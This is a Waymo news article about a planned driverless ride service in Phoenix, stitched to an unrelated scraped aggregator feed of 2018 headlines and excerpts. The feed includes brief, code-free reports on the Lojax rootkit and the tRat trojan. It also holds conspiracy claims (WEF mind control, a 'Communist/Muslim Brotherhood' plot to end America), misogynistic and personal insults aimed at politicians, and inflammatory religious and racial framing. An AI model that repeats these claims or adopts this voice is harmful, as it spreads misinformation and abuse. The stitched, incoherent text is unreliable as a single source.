In just a few weeks, humanity may take its first paid ride into the age of driverless cars. Waymo, the secretive subsidiary of Google's parent company, Alphabet Inc., is planning to launch the world's first commercial driverless car service in early December, according to a person familiar with the plans. It will operate under a new brand and compete directly with Uber and Lyft.

Waymo is keeping the new name a closely guarded secret until the formal announcement, said the person, who asked not to be identified because the plans haven't been made public.

"Waymo has been working on self-driving technology for nearly a decade, with safety at the core of everything we do," the company said in an emailed statement. A Waymo spokesperson declined to comment on the name of the new service or timing of the launch.

It's a big milestone for self-driving cars, but it won't exactly be a "flip-the-switch" moment. Waymo isn't planning a splashy media event, and the service won't be appearing in an app store anytime soon, according to the person familiar with the program. Instead, things will start smallperhaps dozens or hundreds of authorized riders in the suburbs around Phoenix, covering about 100 square miles.

The first wave of customers will likely draw from Waymo's Early Rider Programa test group of 400 volunteer families who have been riding Waymos for more than a year. The customers who move to the new service will be released from their non-disclosure agreements, which means they'll be free to talk about it, snap selfies, and take friends or even members of the media along for rides. New customers in the Phoenix area will be gradually phased in as Waymo adds more vehicles to its fleet to ensure a balance of supply and demand.

Related: Google Waymo Vehicles to Hit the Road This Month
Waymo Orders Thousands More Chrysler Pacifica Minivans for Driverless Fleet
Walmart and Waymo to Trial Driverless Shuttle Service in Phoenix for Grocery Pickups


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14:42

Unhinged Loon Stands Up and Screams Heil Hitler! Heil Trump! at Fiddler on the Roof Performance Turns Out to Be Trump-Hater "IndyWatch Feed Allworld"

An unhinged and reportedly drunk man stood up and screamed, Heil Hitler! Heil Trump! at a Fiddler on the Roof performance in Baltimore, Maryland this week.

The incident was widely reported by the national news.

But later the man said he was a Trump-hater and the final scene reminded him of Trump.
What a loon.

The Washington Examiner reporter:

A disruption at a Baltimore performance of Fiddler on the Roof made national news today. A man stood up before the act break of the seminal Jewish musical and shouted, Heil Hitler, Heil Trump, holding his arm out in a Nazi salute.

The story ran like wildfire, with national outlets and reporters picking up the Baltimore Suns story of the pro-Nazi and pro-Trump salute. Theres just one problem: The police report investigating the incident clearly states that the man loathes President Trump.

In the police report obtained by the Washington Examiner, the reporting officer, Jake Aumack, says: During my interview of [the suspect] he advises that the final scene before intermission reminded him of his hatred for Donald Trump which caused him to stand up and yell, Hail Hitler, Hail Trump [sic]. He further advises that everyone around him got angry, and he didnt realize there were so many Trump supporters. It appeared to this officer based on my interview of Mr. Derlunas that his intention was to express his dislike of Donald Trump.

The Huffington Post called the incident an anti-Semitic and pro-Donald Trump outburst. The New York Post also deemed it a pro-Trump outburst,

The post Unhinged Loon...

14:40

Finally, tape dispensers and glue sticks for design snobs "IndyWatch Feed Allworld"

Your inner kindergartener deserves better than two-for-one CVS deals.

Theres no shame in Scotch tape or Elmers glue. Even still, the bright green and orange branding reminds us of grade schooland theres not a lot of design innovation in their packaging, either.

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14:38

So much Murika: Diabetes spike in Mexican town where Coca-Cola used as drinking water, currency & religious offering "IndyWatch Feed Allworld"

Martha Pskowski In Zinacantn, a Tzotzil indigenous community outside San Cristobal, Coca-Cola is widely sold during the festival for the town's patron saint, San Jernimo. A Mexican town, next to a Coca-Cola plant, is running so low on water that locals have turned to the sugary drink as an alternative. It's drunk, used in religious ceremonies and even as a currency. While diabetes and obesity soar. Cristobal de las Casas, in the Mexican state of Chiapas, has for years been caught between an inept local government and a multinational corporation which is draining its local water supply in a case of crony capitalism at its worst. Coca-Cola is produced locally at the Femsa plant, which bottles and sells the drink across Mexico. Under a long-standing agreement with the Mexican government, the factory owns the rights to draw out more than 300,000 gallons (around 1,135,623 liters) of water per day.

14:36

The Race Is OnTowards 6.0% Mortgages And Housing Bust 2.0 "IndyWatch Feed Allworld"

The average interest rate for 30-year fixed-rate mortgages with conforming loan balances ($453,100 or less) and a 20% down-payment rose to 5.17% for the latest reporting week, according to the Mortgage Bankers Association (MBA) today. This is the highest average rate since September 2009.

 

https://wolfstreet.com/2018/11/14/mortgage-rates-reach-6-percent-sooner-fed-sheds-mortgage-backed-securities-whatll-that-do-to-housing-bubble-2/

14:35

Cybaze ZLab- Yoroi team spotted a new variant of the APT28 Lojax rootkit "IndyWatch Feed Allworld"

Malware researchers at the Cybaze ZLab- Yoroi team spotted a new variant of the dangerous APT28 Lojax rootkit.

The behavior of the Lojax sample seems to be similar to the previous versions and exploits the legitimate Absolute Lojack software to grant its persistence on the infected system. Lojack is an anti-theft and localization software developed by Absolute Software Corporation and it is pre-installed in the BIOS image of several Lenovo, HP, Dell, Fujitsu, Panasonic, Toshiba, and Asus machines. In the past, this software was known as Computrace.

Despite its legitimate purposes, the Absolute Lojack software acts like a rootkit (more precisely as a bootkit): its BIOS component forces the writing of a small agent named rpcnetp.exe into the system folder. The agent periodically contacts the Absolute server and sends to it the current machines position.

The control flow of the Lojack software is detailed in the following figure:

APT28 Lojax

Figure 1. Lojack control flow (Source:ESET)

 

Technical Analysis

The size of the malicious artifact is the same as the legitimate one, so the only manipulation seems to the modification of the C2C address, in according with other firms that previously analyzed the malware.

Hash Sha256: 6d626c7f661b8cc477569e8e89bfe578770fca332beefea1ee49c20def97226e
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14:34

Whats in the ayeMail Indy kits? "IndyWatch Feed Allworld"

By Russell Bruce

After weeks splitting large boxes of print into 200 bundles from 1.9 million pieces of print, packing into 10 internal boxes per kit, including 3 with the new Yes flag design, plus Voter Registration Forms, 200,000 stickers, 10,000 window stickers 5,000 labels and packing these into a custom box there was something else that needed to be done.

It was a bright sunny morning with unusual warmth for mid-November and a sharp contrast to the previous day when the lavender in two planters outside a local retailer were visibly shivering in the smir and breeze. Such is our variable climate, not unlike the daily changes in the wretched progress of Brexit.

So to share the content with those who have not seen what is in the Indy kits, now that the pre-orders have been despatched, I decided to unpack a set and take a photograph to share with Newsnet readers and others on social media. Taking one of the many pallets that bulk deliveries arrived on was also an opportunity to stand back and see what so many had contributed to as the pallet was gradually covered, revealing the goodies packed in the big box.

To explain, ayeMail is run by son, Lindsay Bruce, but this gigantic exercise needed extra hands so everybody got roped in.

Newsnet articles have been less frequent in the last few weeks as a consequence. Two of the pieces of print are Newsnet research plus a collaboration on the currency flyer. That has been Newsnets small contribution. The main print graphics have been contributed by Colin Dunn, Ellen Jolle Hfer-Franz of EU Citizens for an Independent Scotland and Lindsay Bruce.

Countless others have contributed with advice and support plus the many who contributed to the fundraiser, adding to the funding from the Scottish Independence Foundation. When everybody comes together the Independence movement can deliver real support for those on the ground.

I have been privileged to see this come to reality from something as simple as an idea to put materials in the hands of the movement to bring independence closer. It has been six months in the making with hours and weeks of planning, consultations, endless complex calculations, spreadsheets and yet more spreadsheets. To handle this immense quantity and weight, specialist equipment was sourced to aid handling and a custom made jig constructed to deal with box banding. A lot of creativity went into the handling from roller conveyers to a clever piece of lifting equipment.

Much has been learned in the process but one thing is certain: it would almost certainly not be possible to produce ayeMail Indy Kit Mk 2 at the incredibly low price of 54.00 to groups registered with the National Yes Registry.

If your group has not yet registered with the National Yes Registry,...

14:34

Bugs Bugs Bugs "IndyWatch Feed Allworld"

Yesterday we went to the Natural History Museum in Washington, DC! Is there some way I can make going to museums a career? Would any national magazine like a museum reviewer? Contact my agent.

The butterfly room is always so cool, but theyre always a reminder of mortality to me.

A Common Morpho very beautiful under the light.

The museum must have an amazing collection of sculptors. There was a section on the evolution of humans, with these fantastic bronzes of Neanderthals, and so forth. The sculptures walked perfectly down the line of being realistic but artistic, too educational but not bland. They were in a dark part of the museum so I didnt photograph any of them.

I loved these giant terra-cotta faces of bugs. These are beautifully done and would look good hanging on anyones wall.

14:30

Celine Dion launches gender-neutral clothing line for babies and kids "IndyWatch Feed Allworld"

This week, Canadian singer Celine Dion announced that she had partnered with designers Iris Adler and Tali Milchberg of the kids fashion brand nununu to create Clinununu, a gender-neutral childrens clothing line. Dion, 50, created the mostly black, white, and gray clothing line which features skulls, letters, and stars patterns as a means of breeding, []

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14:30

Florida Recount: Andrew Gillum Wont Concede, Gains Just 1 Vote On Ron DeSantis "IndyWatch Feed Allworld"

Give it up, the fat lady has sung. Via Sun Sentinel: Amid a dizzying whir of legal action, questions over uncounted ballots and the failure of two South Florida counties to meet the deadline, a machine recount produced little change in the overall results to three statewide races Thursday. Even so, the U.S. Senate and []

14:30

SPECIAL: Why Oracle Is Doomed. "IndyWatch Feed Allworld"

Robert David STEELE Vivas

I really like Larry Ellison for varied reasons including his off-shore sailing and his cash flow, but he now epitomizes the previously successful enterprise that is doomed (along with Google, Microsoft, and IBM, among many others).

Below the fold are three items; first a brief commentary from Stephen E. Arnold, one of the three amigos (the other is William Binney) who would have liked to help Oracle; second, a coder talking about Oracle reality a bog of legacy code; and third, an extract on NoSQL versus SQL.

Amazon is doomed as well, but first they will become a trillion dollar company and screw over hundreds of millions of people. I give them ten more years.

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14:30

Hate Fueled By Trump "IndyWatch Feed Allworld"

The main source of hate in the United States is what Professor Warren Goldstein, who chairs the History Department at the University of Hartford, accurately describes as the "violent, hateful rhetoric comes overwhelmingly from one side only and from its padron, Donald Trump. Period."

14:29

Friday Funnies! "IndyWatch Feed Allworld"

. . . and political truth memes. And a real funny! ~Eowyn Better than Drudge Report. Check out Whatfinger News, the Internets conservative frontpage founded by ex-military!  

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14:26

Raspbian 2018-11-13 Brings Hardware-Accelerated VLC Media Player "IndyWatch Feed Allworld"

After releasing the Raspberry Pi 3 Model A+ yesterday, the Raspberry Pi Foundation today announced Raspbian 2018-11-13 as the latest update to their Debian-based Linux distribution for these low-cost ARM SBCs...

14:26

As the Obama DOJ Concluded, Prosecution of Julian Assange for Publishing Documents Poses Grave Threats to Press Freedom "IndyWatch Feed Allworld"

The Trump Justice Department inadvertently revealed in a court filing that it has charged Julian Assange in a sealed indictment. The disclosure occurred through a remarkably amateurish cutting-and-pasting error in which prosecutors unintentionally used secret language from Assanges sealed charges in a document filed in an unrelated case. Although the document does not specify which charges have been filed against Assange, the Wall Street Journal reported that they may involve the Espionage Act, which criminalizes the disclosure of national defense-related information.

Over the last two years, journalists and others have melodramatically claimed that press freedoms were being assaulted by the Trump administration due to trivial acts such as the President spouting adolescent insults on Twitter at Chuck Todd and Wolf Blitzer or banning Jim Acosta from White House press conferences due to his refusal to stop preening for a few minutes so as to allow other journalists to ask questions. Meanwhile, actual and real threats to press freedoms that began with the Obama DOJ and have escalated with the Trump DOJ such as aggressive attempts to unearth and prosecute sources have gone largely ignored if not applauded.

But prosecuting Assange and/or WikiLeaks for publishing classified documents would be in an entirely different universe of press freedom threats. Reporting on the secret acts of government officials or powerful financial actors including by publishing documents taken without authorization is at the core of investigative journalism. From the Pentagon Papers to the Panama Papers to the Snowden disclosures to publication of Trumps tax returns to the Iraq and Afghanistan war logs, some of the most important journalism over the last several decades has occurred because it is legal and constitutional to publish secret documents even if the sources of those documents obtained them through illicit or even illegal means.

The Obama DOJ despite launching notoriously aggressive attacks on press freedoms recognized this critical principle when it came to WikiLeaks. It spent years exploring wheth........

14:25

A First: US to Vote Against UN Resolution Condemning Israeli "Control" of Golan Heights "IndyWatch Feed Allworld"

Haaretz; The resolution is 'biased against Israel,' U.S. ambassador Nikki Haley says 

U.S. Ambassador to the UN Nikki Haley announced on Thursday that she would vote against an annual UN resolution condemning Israel's sovereignty over the Golan Heights. The resolution entitled "The Occupied Syrian Golan" is scheduled for a vote on Friday.
It will be the first time the U.S. votes against the resolution. The country has abstained from voting on the move in the past.
U.S. tweets decision on Golan Heights UN resolution.
In a press release, Haley said that the U.S. "will no longer abstain when the United Nations engages in its useless annual vote on the Golan Heights." 

The US will NO LONGER abstain. So, this is a definite change, benefiting the Israeli state, in US policy 

The resolution is "biased against Israel" and in light of tensions on the Syrian border, there is no justification for supporting the move, the statement said.
 How is the resolution biased against Israel? Explain Nikki Haley? You say the words, but, what do they mean? Biased against Israel? Reality being Golan was Syrian territory taken/annexed by Israel. And Israel has been creating and sustaining the tensions on the border.
 Taking Golan wasn't a fair trade. Syria didn't agree to this theft of territory. 
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14:25

EU's alcoholic Juncker holds press conference with a brown and black shoe "IndyWatch Feed Allworld"

14:25

Washington Wants To Murder The Most Honest Journalist On Earth "IndyWatch Feed Allworld"

Washington Wants To Murder The Most Honest Journalist On Earth
 
United States Will Bring Assange to US in Chains
By Ann Garrison

http://www.informationclearinghouse.info/50603.htm

The duplicitous US Department of Justice (sic) has a secret indictment of Julian Assange that was revealed by a cut and paste error. The ACLU describes the indictment as unprecedented and unconstitutional. But this wont stop the criminal organization that is the US government from breaking all laws and the US Constitution in order to exact revenge on Assange for publishing leaked documents proving the criminality and inhumanity of the US government.

https://www.zerohedge.com/news/2018-11-16/copy-paste-error-reveals-assange-already-facing-us-indictment

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14:23

Liberals Triggered By Its Okay To Be White Flyers In Portland "IndyWatch Feed Allworld"

Apparently its not okay to be white. Thats according to Portland residents who are losing their minds over flyers that read Its Okay To Be White were posted in their neighborhood. The guilty, rich, white Portland liberals are up in arms, referring to these as anti-Semitic and a sign of white supremacy.

KOIN 6 Reports:

It isnt a threat and it isnt actively promoting violence but a flyer thats been making the rounds in a Beaverton neighborhood has some people upset over its message.

The flyers, which say Its OK to be white, have popped up on power poles and street lights in the Sexton Mountain area.

One neighbor told KOIN 6 News that part of town is a melting pot and she wants everyone to feel safe.

On a lamp post there, it was just right smack in my eye line like someone put it there intentionally, Mary Elizabeth Summer said. I instantly ripped it down.

Summer couldnt believe she found the flyer just down the street from her front door. She said it upset her so much, she took it home and ran it through the shredder.

Others in the neighborhood have spotted them too.

My neighbor, Naomi, she also crossed one today and sent me a picture of it, Summer said.

Earlier this month the Sacramento Bee reported identical flyers popping up around American River College and in Florida, the Anti-defamation League said a Target employee placed a card with the phrase in a box of diapers.

I am married to a half black woman and this neighborhood is very culturally diverse, Summer said. We have Indians, we have Jewish people, every color you can imagine. If it were me and I was coming up the street of my neighborhood and I saw that, I would not feel safe and I dont want

14:23

Voter Fraud? What Voter Fraud? How America Will End "IndyWatch Feed Allworld"

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How America Will End

 

The following is an analysis of what has been learned about the pattern America will follow on the path to its demise and final resting place. But America isnt just going to end, it will, and already is, morphing into a new entity which will be complete divorced from its original founding principles and culture.

The Foundations of God, Family, Country

The three virtues listed in the subtitle is what America used to aspire to be. Because of our sinful nature, America never achieved great heights with regard to the attainment of our ideals, but at least the ideals were in place.

Russian defectors warned us this would be coming as the Communist/Muslim Brotherhood influence dominate the national agenda and in particular, the Democratic party that has been selected to complete the take down of America.

America has become a rudderless ship of amoral and immoral people cast adrift in a sea depravity and Satanic principles.

Control of the Media

Where a 1968 Brady Bunch TV episode was the FIRST ever TV show to display a husband and wife sleeping in the same bed, todays displays on TV regarding language, sexual behavior and adherence to the rule of law are virtually non-existent. We make fun of classic TV shows such as Leave It to Beaver, yet, this used to be the Happy Days norm.

Instead of entertainment...

14:23

We Love You Theresa May - A Message of Support "IndyWatch Feed Allworld"


 
Brought to you on behalf of the can't be arsed to get off my arse and vote party
 
 

14:22

Double trouble: Twin tornadoes touchdown in Turkey "IndyWatch Feed Allworld"

A serene day at the beach was rudely interrupted by not one but two giant tornadoes that suddenly marauded through a provincial town in southern Turkey. While the vast majority of the residents and tourists evacuated Salinas beach on Sunday, a few foolhardy photographers stuck around to film the massive sea spouts as they swept across the surface of the Mediterranean sea.

14:22

Fasting Molecule Delays Vascular Aging "IndyWatch Feed Allworld"

A molecule produced during fasting or calorie restriction has anti-aging effects on the vascular system, which could reduce the occurrence and severity of human diseases related to blood vessels, such as cardiovascular disease, according to a study led by Georgia State University.

14:19

Scott Gottlieb's Nicotine Nazism Will Kill Kids, Not Save Them "IndyWatch Feed Allworld"

Does tobacco kill people? Yes, it does. The more relevant question at the moment is why Scott Gottlieb is working overtime to guarantee that it kills more people at younger ages.

14:18

"Mirrors of the Mind 7: The Psychotherapist as Artist" opens November 24th "IndyWatch Feed Allworld"

"Mirrors of the Mind 7: The Psychotherapist as Artist" opens on November 24th at Santa Monica Art Studios. The annual juried exhibit features artist psychotherapists and students within the psychotherapy community and is presented by the Community Outreach Committee (COC) of the Los Angeles County Psychological Association (LACPA).

14:15

Review: Skin in the Game Hidden Asymmetries in Daily Life "IndyWatch Feed Allworld"

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Nassim Nicholas Taleb

6 Star Skin in the Game = Ethics = Sustainable

By the author Black Swan and Anti-Fragility, among many other works, this book is a simplified overview a capstone work and the easiest to read.

Skin in the Game is defined by the author as symmetry of risk and reward in other words, you dont get to externalize losses to others while reaping the rewards without any personal risk.

That pretty much sums up everything that is wrong with banking, commerce, government, religions, and universities.

Hes also very good as defining intelligent idiots which pretty much sums up all the politicians, media pundits, and anemic professors who have never gotten their hands dirty and are out of touch with ground truth the dirt.

QUOTE (11): Bureaucracy is a construction by which a person is conveniently separated from the consequences of his or her actions.

In the authors view (and I certainly concur) we have no choice but to decentralize this includes down-sizing and localizing. In that way, we restore the efficacy of ethics as an operating system.

QUOTE (14): The same mechanism of transferring risk also impedes learning.

I have a note that the author makes a very strong case for the First Amendment as a...

14:10

Here is the preview for the peaceful Christmas season 2018 in Europe... "IndyWatch Feed Allworld"

14:10

Ten resources if youve experienced targeted hate online "IndyWatch Feed Allworld"

Online abuse of women and LGBTQ people is relentless. But there are resources to support you, from digital security to self-care tips.

'Women deserve better' graffiti. Photo: Devon Buchanan /Flickr. CC BY 2.0. Some rights reserved.50.50 is increasingly exposing targeted hate online and the findings have been distressing. Our investigation into a US evangelical group found deliberate targeting of LGBT youth with dehumanising Facebook and YouTube ads. Another report found that online platforms have enabled a 'deluge of hatred against trans women' in the UK.

Weve also been on the receiving end of online abuse. One of our writers has shared some of the particularly nasty misogynistic abuse shes received. 50.50s reporting from an international conference on mens issues in London unleashed a men's rights backlash on social media and in the comments section of our article.

Amnesty Internationals Toxic Twitter report, the Guardians Web we want series, and the Womens Media Centre Speech Project have documented how women of colour, LGBTQ people and women with disabilities experience the worst forms of online abuse.

But its crucial that trolls and other abusers dont ruin the inter...

14:10

Indictment Against Assange Mistakenly Revealed By Prosecutors? Or Mueller Shaking The Tree? "IndyWatch Feed Allworld"

Why does the NY Times, as well as WaPo and others, assume that it was mistakenly? It could be clerical error but appears intentional, either by Mueller to flush out someone or something, or to warn Assange. Shake the tree and watch the monkeys jump out. Its almost certain that Assange is working with Mueller, as Embassy life has gotten old, and this is shaking the tree time. Roger Stone in a panic? Or did he flip too?

NYTimes: Indictment vs. Julian Assange Mistakenly Revealed by Prosecutors It is not clear if charges have been filed. A case against Mr. Assange could have implications for the special counsel inquiry as well as the publication of government secrets. See: https://www.nytimes.com/2018/11/16/us/politics/julian-assange-indictment-wikileaks.html

According to the Washington Posts Julian Assange has been charged, prosecutors reveal inadvertently in court filing: The filing in the Eastern District of Virginia came Aug. 22 in a case that combines national security and sex trafficking. Seitu Sulayman Kokayi, 29, was charged with enticing a 15-year-old girl to have sex with him and send him pornographic images of herself. But he was detained in part because he has a substantial interest in terrorist acts, according to the court filing
https://www.washingtonpost.com/world/national-security/julian-assange-has-been-charged-prosecutors-reveal-in-inadvertent-court-filing/2018/11/15/9902e6ba-98bd-48df-b447-3e2a4638f05a_story.html

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14:09

Science is getting less bang for its buck "IndyWatch Feed Allworld"

By Patrick Collison and Michael Nielsen in The Atlantic:

we ran a survey asking scientists to compare Nobel prizewinning discoveries in their fields. We then used those rankings to determine how scientists think the quality of Nobel prizewinning discoveries has changed over the decades

Our graph stops at the end of the 1980s. The reason is that, in recent years, the Nobel Committee has preferred to award prizes for work done in the 1980s and 1970s. In fact, just three discoveries made since 1990 have yet been awarded Nobel Prizes. This is too few to get a good quality estimate for the 1990s, and so we didnt survey those prizes.

However, the paucity of prizes since 1990 is itself suggestive. The 1990s and 2000s have the dubious distinction of being the decades over which the Nobel Committee has most strongly preferred to skip back and award prizes for earlier work. Given that the 1980s and 1970s themselves dont look so good, thats bad news for physics

Why has science gotten so much more expensive, without producing commensurate gains in our understanding?

There is much more evidence and argument at the linkThis appendix provides more detail on their empirical work.  Self-recommending, if there ever was such a thing.

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14:08

No safe place: When israeli (apartheid state) airstrikes hit, Gazas children have nowhere to run "IndyWatch Feed Allworld"

When Israel strikes, Gazas children have nowhere to run Charlie Hoyle No safe place: When Israeli airstrikes hit, Gazas children have nowhere to run Most children in Gaza have experienced a major war during their lifetime. [Getty] A sense of normalcy returned to life in the Gaza Strip on Wednesday after a ceasefire agreement between []

14:07

Imam: Germany you will be an Islamic country "IndyWatch Feed Allworld"

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14:02

Starling murmuration among windmills "IndyWatch Feed Allworld"

This 16 November 2018 video shows a starling murmuration among windmills.

Anja van Riet made this video in Zeeland province in the Netherlands.

14:02

Electric unicycle: Fun toys or serious commuter personal electric vehicles? "IndyWatch Feed Allworld"

Youve probably heard a lot about electric bicycles and electric scooters by now. These small personal electric vehicles (PEVs) are often touted as last mile vehicles that can help commuters travel short distances between home or work to other mass transit hubs, or as complete commuting alternatives in cities.

But one PEV you might not have heard about yet are electric unicycles. These odd-looking little EVs consist of just a single wheel that a rider straddles. They self balance like a Segway or hoverboard, but are much more narrow and nimble. Though they look like a toy, electric unicycles might be a more serious transportation alternative than many people think. Read on to learn why.

14:01

UK Prime Minister May Sells Out Her Country "IndyWatch Feed Allworld"

How Much Was The Duplicitous Bitch Paid To Sign Away British Sovereignty?

https://www.telegraph.co.uk/politics/2018/11/15/nothing-could-worse-brexit-deal-struck-mrs-may-weakest-duplicitous/

Nigel Farage

Events are moving rapidly in Westminster today but as MPs reflect on the terms of Theresa Mays draft Brexit deal, one thing is constant: the prime ministers self-delusion.

People from all sides of the political divide have been warning Mrs May for weeks that only strong and honest leadership would guarantee a meaningful and honest Brexit. Her refusal to heed this advice has resulted in a series of resignations at all levels of her government from both Brexiteers and Remainers. She is responsible for the chaos which could easily seal her fate. Bearing in mind the manifesto commitments she made in 2017, her disregard for democracy is disgraceful.

It has been clear to me since Mrs May made her Florence Speech in September 2017 that she was taking the UK down a route of betrayal. Those of us who believe in Britains independence have spent the last three decades trying to opt out of key elements of the European Union machine. But at Florence, it was obvious that she actually wanted to opt the country back in to most of it.

This fact was spelled out most clearly this week by Angela Merkel. During her visit to the European Parliament in Strasbourg Merkel stated: Mrs May wants to stay in Europe. This just about sums up the whole fraudulent situation. As Mrs May voted to Remain in 2016, perhaps we shouldnt be too surprised.  

With the draft deal thats been unveiled to the public, its easy to see that this Brexit betrayal is complete. Under its terms, Britain has assumed a submissive position. Thanks to Mrs May, our country has agreed to behave like a nation that has been defeated militarily in war and is now pleading for the kindest possible terms from our victors. Of course, no such concessions have been made from the other side.

When I formally met the EUs chief Brexit negotiator Michel Barnier back in January, his one goal was made clear to me: to make sure the United Kingdom did not diverge from European Union rules. He was adamant that we would not be allowed any competitive advantage. I well remember that during our encounter Barnier was supremely confident in his position. He was equally relaxed about a deal being done. I now believe he has known all along the path down which Mrs May wanted to take her country. The sense of betrayal is extraordinary.

Last December, Mrs May left Downing Street at 4.15 in the morning to fly to Brussels to meet a deadline set by the unelec...

14:00

Twitter user writes that Robert Spencer should be killed, Twitter leaves threat online "IndyWatch Feed Allworld"

The threat was made seven days ago but is still online: This Islamophobe @jihadwatchRS should be killed for spreading lies and propaganda around like no joke is he such a waste of air and space. lil'boi (@LilThnxM8) November 8, 2018 jihadwatchrs is my Twitter username. The threat was not removed. Twitter doesnt care []

14:00

Mongoose: Mind Control Briefed to World Economic Forum "IndyWatch Feed Allworld"

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The World Economic Forum Talks About Mind Control Using Sound Waves

The World Economic Forum one of the most powerful elite organizations in the world recently discussed the emergence of remote mind control technology. And it admits that it could be used to turn humans into mind-controlled slaves.

mind control is nothing new and the elite had access to this kind of technology for years. A few months ago, I published an article about a leaked 1996 document describing remote mind control.

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14:00

Celebrating The Wave Of Democratic Congressional Wins Still Coming In? Here's A Report About How Trump Got The Cash To Run All Those Attack Ads Against Them "IndyWatch Feed Allworld"


Dont we even get one day to just celebrate? First AP declared that progressive Democrat Katie Porter had ousted Trump rubber-stamp Katie Porter in Orange County and seemingly minutes later, Maine finished their ranked choice vote count and announced that another committed progressive, Jared Golden will be replacing Trump enabler Bruce Poliquin in Congress. [Note: Katie and Jared arent just garden variety Democrats who well never hear from again; each is a proven leader who we can expect great things from in Washington.] Anyway, the great news was just sinking in when I saw David Sirotas less than sanguine expos, Big Pharma Bankrolled Pro-Trump Group As Trump Pushed Pharma Tax Cut.

So far this year, America Firsts PAC America First Action h...

13:58

The Donbass Dilemma "IndyWatch Feed Allworld"

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The November 11th elections of the leaders of the Donetsk and Lugansk Peoples Republics along with the members of their Peoples Councils has again underlined the dilemma facing Ukraine, its NATO masters, and Russia for, as Tass reported, the result makes it very clear that there is a high level of support among the peoples of the Donbass for integration with Russia.

It is a dilemma for the NATO puppet regime in Kiev since the political solidity of the Republics remains even in the face of the assassinations of Donbass leaders that have taken place since 2014 including that of Donetsk leader Alexander Zakharchenko in August of this year and in the face of the constant state of siege under which the peoples of the republics live as they resist the attempts to break them. The regime in Kiev is once again forced to recognise that it rules a divided country that is a direct result of the NATO backed putsch that put them in power and the attempts to suppress the Russian language, culture and influence in Ukraine that immediately followed that putsch.

The Russian government on Tuesday the 13th stated as much, ever hopeful, at the OSCE in Vienna,

Russia believes that Sundays elections represent a major step towards dialogue between Donbass and Kiev on the implementation of the Minsk Agreements.

That belief can only be based on the fact that the elections confirm the political integrity and will of the peoples of the Donbass republics and confirm the failure of the Kiev state of siege to break them. This should, hope the Russians, force NATO and Kiev back to the Minsk agreements and a compromise political solution. But there is little chance of that when the immediate response of the US government was to condemn the elections.

Their State Department spokesperson said on the 12th,

The United States joins our European Allies and partners in condemning the November 11th, sham elections in Russia controlled eastern Ukraine. Yesterdays illegitimate processes were an attempt by Moscow to institutionalise its Donbass proxies, the so-called Republics. These entities have no place within the Minsk agreements or within Ukraines constitutional government, and they should be dismantled along with their arme...

13:58

10 Friday AM Reads "IndyWatch Feed Allworld"

My end of week morning train reads:  This Is the Saturday Night Massacre. Its Just Happening in Slow Motion. (Slate)  Think You Know Tesla? Test Your Tesla Knowledge With This 30-Question Quiz (Bloomberg) The order in which we form abstract beliefs is important (Medium)  Dont Make These 5 Investing Mistakes That General Electric Investors Made (Behavioral

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13:55

Apple appoints A24 as its Academy Award ambassador "IndyWatch Feed Allworld"

Apple is venturing further into the streaming waters, tapping A24 to produce a slate of films that just may put the company in awards contention.

What: A partnership designed to cultivate prestige content.

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13:53

What Is the MEAN Stack? JavaScript Web Applications "IndyWatch Feed Allworld"

Most anyone who has developed web applications knows the acronym LAMP, which is used to describe web stacks made with Linux, Apache (web server), MySQL (database server), and PHP, Perl, or Python (programming language).

Another web-stack acronym has come to prominence in the last few years: MEANsignifying a stack that uses MongoDB (database server), Express (server-side JavaScript framework), Angular (client-side JavaScript framework), and Node.js (JavaScript runtime).

13:47

Shamans 'astronauts of inner space' "IndyWatch Feed Allworld"

The trances and healing powers of shamans are so widespread that they can be counted a human universal. Why did they evolve? Shamanism is as varied as those who practice it. Its practitioners range from indigenous lineages who have passed down their craft over thousands of years to the modern 'plastic shamans', who represent no specific culture but have adapted shamanism to meet the demands of metropolitan markets. However, there is a common theme to shamanism wherever it is practised: the use of spiritual (or shamanic) trance to facilitate journeys to a non-ordinary reality. Here, in this non-ordinary reality, the shamans do their work. According to the historian of religion Mircea Eliade writing in 1951, shamanism is the 'technique of ecstasy', involving the purposeful invocation and use of dreams and visions to solve problems. By this definition, shamanism is the landscape of the spirit-journey, populated by good and evil spirits and the souls of the deceased and yet-to-be-born....

13:45

Top 5 ads of the week: Elton John sings for Xmas, KFCs crispy streetwear "IndyWatch Feed Allworld"

Burger King uses banner ads to buy you a free Whopper, Veterans Day isnt for sale, and Cadillac says, Oh Hello!

Its easily one of Britains most highly anticipated ads of the year, something that has made it increasingly difficult for retailer John Lewis & Partners and its agency, adam&eveDDB, to actually surprise us with an original Christmas campaign. But this year they eschewed the tried-and-true cute kid/adorable animal combo for the Rocketman himself. As clich as it may seem to credit one inspired Christmas gift for Elton Johns incredible career, this story still manages to hit you right in the feels. Onward!

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13:42

The Amazing Ways Artificial Intelligence Is Transforming Genomics and Gene Editing "IndyWatch Feed Allworld"

It is predicted that artificial intelligence (AI) will transform many aspects of our life including healthcare and genomics. AI and machine learning have helped us to understand the genome of organisms and will potentially change the way we treat disease, determine effective drugs and edit genes.

13:42

Lab-Grown Mini Kidneys Go Rouge, Sprout Brain and Muscle Cells "IndyWatch Feed Allworld"

Kidney organoids miniature organs grown in the lab recently went rogue, producing brain cells and muscle cells alongside the expected kidney cells.

13:42

These DNA Startups Want to Put All of You on the Blockchain "IndyWatch Feed Allworld"

Two different marketplaces for genetic data, Nebula and EncrypGen, recently launched with the promise of better protections for their users.

13:39

When Yara met Fadi: The story of a Syrian wedding dress under Gaza rubble "IndyWatch Feed Allworld"

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They endured countless trials and tribulations to be together - and their story has captured Gazas imagination

13:37

tRat is a new modular RAT used by the threat actor TA505 "IndyWatch Feed Allworld"

The threat actor TA505 behind many Dridex and Locky campaigns have been using a new Remote Access Trojan (RAT) dubbed tRat.

Researchers at Proofpoint warns that the threat actor TA505 have been using a new Remote Access Trojan (RAT) dubbed tRat that implements a modular structure that was written in Delphi.

The TA505 operates on a large scale, it was behind other major campaigns leveraging the Necurs botnet to deliver other malware, including the Locky ransomware, the Jaff ransomware, and the Dridex banking Trojan.

The new strain of malware was first discovered at the end of September when it was distributed through weaponized Word documents that download the RAT.

Attackers used documents that abused the Norton brand, subject lines on the messages reinforced the social engineering, stating I have securely shared file(s) with you.

At the time of the discovery, the experts did not attribute it to a specific threat actor, but in October researchers found evidence of use made by TA505.

More recently, the group has been distributing a variety of remote access Trojans (RATs), among other information gathering, loading, and reconnaissance tools, including a previously undescribed malware we have dubbed tRat. reads the analysis published by Proofpoint.

tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of this year (one of them by TA505). 

Researchers noticed it was involved in a spam campaign on October 11, attackers used both Microsoft Word and Microsoft Publisher files for spread the malicious code.

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13:37

